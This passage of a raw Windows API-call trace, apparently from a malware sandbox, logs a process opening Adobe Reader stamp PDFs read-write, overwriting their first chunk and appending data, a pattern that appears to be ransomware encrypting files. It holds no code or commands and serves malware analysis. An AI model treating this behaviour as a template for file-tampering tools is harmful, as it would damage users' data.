(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.030] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.030] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9a88d [0035.030] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.030] ReleaseMutex (hMutex=0x128) returned 1 [0035.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.030] ReadFile (in: hFile=0x184, lpBuffer=0x2728d08, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.035] ReadFile (in: hFile=0x184, lpBuffer=0x2728d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.041] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9988d [0035.041] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.045] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9988d [0035.046] WriteFile (in: hFile=0x184, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.046] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.046] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.047] WriteFile (in: hFile=0x184, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.047] CloseHandle (hObject=0x184) returned 1 [0035.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.060] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.060] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xbb3e [0035.061] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.061] ReleaseMutex (hMutex=0x128) returned 1 [0035.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.061] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.298] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xab3e [0035.299] ReadFile (in: hFile=0x184, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.299] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xab3e [0035.299] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.300] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.300] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.300] CloseHandle (hObject=0x184) returned 1 [0035.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.301] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.301] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xffc9 [0035.301] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.302] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.302] ReleaseMutex (hMutex=0x128) returned 1 [0035.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.302] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.304] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xefc9 [0035.304] ReadFile (in: hFile=0x184, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.305] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xefc9 [0035.305] WriteFile (in: hFile=0x184, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.305] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.305] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.306] CloseHandle (hObject=0x184) returned 1 [0035.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.307] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.307] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xfbd7 [0035.307] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.307] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.307] ReleaseMutex (hMutex=0x128) returned 1 [0035.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.307] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.310] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xebd7 [0035.310] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.311] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xebd7 [0035.312] WriteFile (in: hFile=0x184, lpBuffer=0x1deaf78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.312] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.312] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.312] CloseHandle (hObject=0x184) returned 1 [0035.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.314] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.314] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x9c53 [0035.314] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.314] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.314] ReleaseMutex (hMutex=0x128) returned 1 [0035.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.314] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.318] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8c53 [0035.318] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.318] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x8c53 [0035.318] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.318] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.318] WriteFile (in: hFile=0x184, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.318] CloseHandle (hObject=0x184) returned 1 [0035.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.320] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.320] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb731 [0035.320] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.320] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.320] ReleaseMutex (hMutex=0x128) returned 1 [0035.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.320] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.323] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa731 [0035.323] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.324] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa731 [0035.324] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.324] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.324] WriteFile (in: hFile=0x184, lpBuffer=0x1de2de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.324] CloseHandle (hObject=0x184) returned 1 [0035.325] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.325] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.325] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1e146 [0035.325] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.325] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.325] ReleaseMutex (hMutex=0x128) returned 1 [0035.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.326] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.329] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1d146 [0035.329] ReadFile (in: hFile=0x184, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.329] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1d146 [0035.329] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.329] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.329] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.329] CloseHandle (hObject=0x184) returned 1 [0035.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.331] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.331] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa6a0 [0035.331] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.331] ReleaseMutex (hMutex=0x128) returned 1 [0035.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.331] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.335] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: 